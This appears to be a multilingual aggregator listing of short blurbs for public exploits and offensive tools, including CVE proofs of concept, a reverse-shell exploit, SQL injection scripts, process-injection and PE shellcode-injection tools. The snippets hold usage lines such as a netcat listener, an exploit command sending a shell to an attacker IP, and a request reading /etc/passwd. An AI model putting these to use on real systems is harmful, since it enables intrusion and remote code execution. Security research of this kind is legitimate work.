PDFkit-CMD-Injection-CVE-2022-25765

PDFkit-CMD-Injection CVE-2022-25765 CVE-2022-25765 pdfkit 0.8.6의 명령 삽입Command Injection에 대한 익스플로잇 취약점에 대한 자세한 내용은 여기에서 확인하세요. PoC 호스트에서 netcat을 실행하세요: root@kitploit: $ nc -lvnp 1337 익스플로잇 실행 예시: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a 10.10.14.122 -p 1337 Input target address ...

Exploit-for-Dolibarr-17.0.0-CVE-2023-30253

针对 Dolibarr example: python3 exploit.py http://example.com login password 127.0.0.1 9001 ---Reverse Shell Exploit for Dolibarr = 17.0.0 CVE-2023-30253--- positional arguments: hostname Target hostname username Username of Dolibarr ERP/CRM password Password of Dolibarr ERP/CRM lhost Listening host...

CVE-2024-43468_mTLS_go

CVE-2024-43468 SCCM SQL 注入利用（基于 macOS 钥匙串的 mTLS 客户端证书版本） 使用 macOS 钥匙串进行 mTLS 认证（无需从钥匙串导出密钥）的 CVE-2024-43468 利用的 Go 实现。 此外： 增加了代理支持，避免使用有问题的 proxychains。 增加了 getcertname.py 用于获取证书通用名称（是的，你也可以手动从钥匙串访问 GUI 中获取）。 增加了大量调试信息，以便了解实际运行情况。 基于： 原始 Python 利用 mTLS Go 客户端示例 描述 利用 Microsoft Configuration...

gogs

gogs 여기에서는 SEED Ubuntu 16.04 VM에 실습 환경을 구축합니다. SQL 인젝션 취약점을 공격하기 전에 먼저 VM에 Go Git ServiceGOGS를 설치해야 합니다. VM을 설정하는 단계는 다음과 같습니다. 1단계: 데이터베이스 설치 시스템에 로그인한 후, 라이브러리와 저장소가 업데이트되었는지 확인하기 위해 다음 명령을 실행해야 합니다. $ sudo apt-get -y update 백엔드에서 MySQL 서버를 사용하므로 VM에 MySQL 서버를 설치해야 합니다. 다음 명령으로 설치할 수 있습니다: $ su...

VMware-CVE-2022-22954

VMware CVE-2022-22954 Workspace ONE Access Freemarker Server-side Template Injection POC для VMware CVE-2022-22954 Используйте этот однострочный GET-запрос!! Он выполнит cat /etc/passwd...

tulpar

Tulpar는 웹 침투 테스트를 자동화하기 위해 작성된 오픈 소스 웹 취약점 스캐너입니다. Tulpar는 다음과 같은 기능을 제공합니다. -SQL 인젝션 GET 메소드 -XSS GET 메소드 -크롤링 -이메일 노출 -신용카드 노출 -Whois -커맨드 인젝션 GET 메소드 -디렉토리 트래버설 GET 메소드 -파일 인클루드 GET 메소드 -서버 정보 -기술 정보 -X-Content-Type 검사 -X-XSS-Protection 검사 -TCP 포트 스캐너 -robots.txt 검사 -URL 인코딩 -인증 정보 -사용 가능한 메소드...

next-attack

Это проект Next.js, созданный с помощью create-next-app. Проверка уязвимости Сначала вы можете убедиться, что middleware работает и должен перенаправлять пользователя: root@kitploit: curl http://localhost:3000/api/admin Затем вы можете показать, как middleware обходится с помощью следующей команд...

CVE-2022-45472

CVE-2022-45472 XSS basado en DOM Software: CAE Learning Space Enterprise con licencia Intuity Versión de imagen: 267r Nivel de parche: 639 Vulnerabilidad: XSS basado en DOM Descripción El software de gestión CAE Learning Space Enterprise es vulnerable a un ataque de XSS basado en DOM. Un ataque d...

CVE-2026-80049 Airbyte Platform through 2.0.0 Cross-Workspace Authorization Bypass via Caller-Supplied workspaceId

Airbyte Platform resolves the workspace used for its authorization decision from a field the caller supplies. AuthorizationServerHandler copies recognised identifiers out of the raw JSON request body into X-Airbyte- headers, and AuthenticationHeaderResolver.resolveWorkspace consults...

CVE-2021-44906

CVE-2021-44906 원본 출처: https://github.com/Marynk/JavaScript-vulnerability-detection/blob/main/minimist%20PoC.zip 실행 root@kitploit: npm run hack 그러면 어떤 함수의 done 속성이 true로 변경된 것을 볼 수 있습니다. 명령줄 node index.js --.concat.constructor.prototype.done true에 대한 설명: --는 일반적으로 명령줄 인수에 사용되는 하이픈 기호입니다. 는 minimis...

ProcessInjection

ProcessInjection Программа предназначена для выполнения внедрения процессов. В настоящее время инструмент поддерживает 5 техник внедрения процессов. root@kitploit: 1 Vanilla Process Injection 2 DLL Injection 3 Process Hollowing 4 APC Queue 5 KernelCallbackTable Injection Инструмент принимает...

InfectPE

С помощью этого инструмента вы можете внедрить x-код/шеллкод в PE-файл. InjectPE работает только с 32-битными исполняемыми файлами. Зачем нужен InjectPE? Вы можете тестировать свои продукты безопасности. Использовать в фишинговой кампании. Узнать, как работает внедрение в PE. ...и так далее. В...

CVE-2023-1545

CVE-2023-1545 针对 3.0.0.23 之前版本 Teampass 的简单 SQL 注入 Python 脚本，利用 CVE-2023-1545。更多信息请参阅此博客。 用法 只需将 Teampass 运行所在的 URL 设置为唯一参数： root@kitploit: python3 CVE-2023-1545.py http://example.com:8080 免责声明 请仅将其用于道德目的 :...

wanderer

Wanderer Wanderer — это программа с открытым исходным кодом, которая собирает информацию о запущенных процессах. Эта информация включает уровень целостности, наличие AMSI в качестве загруженного модуля, работает ли процесс как 64-битный или 32-битный, а также уровень привилегий текущего процесса...

wanderer

Wanderer Wanderer is an open-source program that collects information about running processes. This information includes the integrity level, the presence of the AMSI as a loaded module, whether it is running as 64-bit or 32-bit as well as the privilege level of the current process. This...

CVE-2023-23333

CVE-2023-23333 SolarView Compact 6.00 이하 버전의 downloader.php 명령어 삽입 RCE nuclei-templates Burp Nuclei...

Ofbiz-RCE

📌 Apache OFBiz RCE Exploit CVE-2024-38856 이 Python 스크립트는 /webtools/control/forgotPassword/ProgramExport 엔드포인트에 대한 인증되지 않은 접근을 통해 Apache OFBiz 버전 18.12.15의 원격 코드 실행RCE 취약점을 악용합니다. 🛠️ 설명 CVE : CVE-2024-38856 유형 : 잘못된 권한 부여 → 원격 코드 실행 구성 요소 : Apache OFBiz 영향을 받는 버전 : 18.12.15 이전 악용 방법 : 유니코드\uXXXX로...

CVE-2024-1301---Badgermeter-moni-tool-SQL-Injection

CVE-2024-1301 --- Badgermeter moni 도구 - SQL 인젝션 https://www.incibe.es/en/incibe-cert/notices/aviso-sci/multiple-vulnerabilities-badger-meters-monitool CVE-2024-1301: 9.8 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | CWE-89. 소프트웨어 링크 : https://www.s-can.at/en/product/monitool/ 버전 : 4.6.3 @저자 :...

Expoitation-de-la-vuln-rabilit-CVE-2022-22965

Эксплуатация-уязвимости-CVE-2022-22965 Уязвимость CVE-2022-22965, известная как Spring4Shell, — это ошибка удалённого выполнения кода RCE в фреймворке Java Spring Core, присутствующая в версиях до 5.3.18 и 5.2.20. Данная уязвимость позволяет атакующему внедрить код и выполнить его удалённо на...

CVE-2026-55663

mediasoup , a WebRTC video conferencing system, contains a flaw in its built-in SCTP stack where state cookies are authenticated using only hardcoded magic values (msworker and 0xAD81) instead of a per-instance secret with HMAC, violating RFC 9260 §5.1.3. An on-path attacker targeting PlainTransp...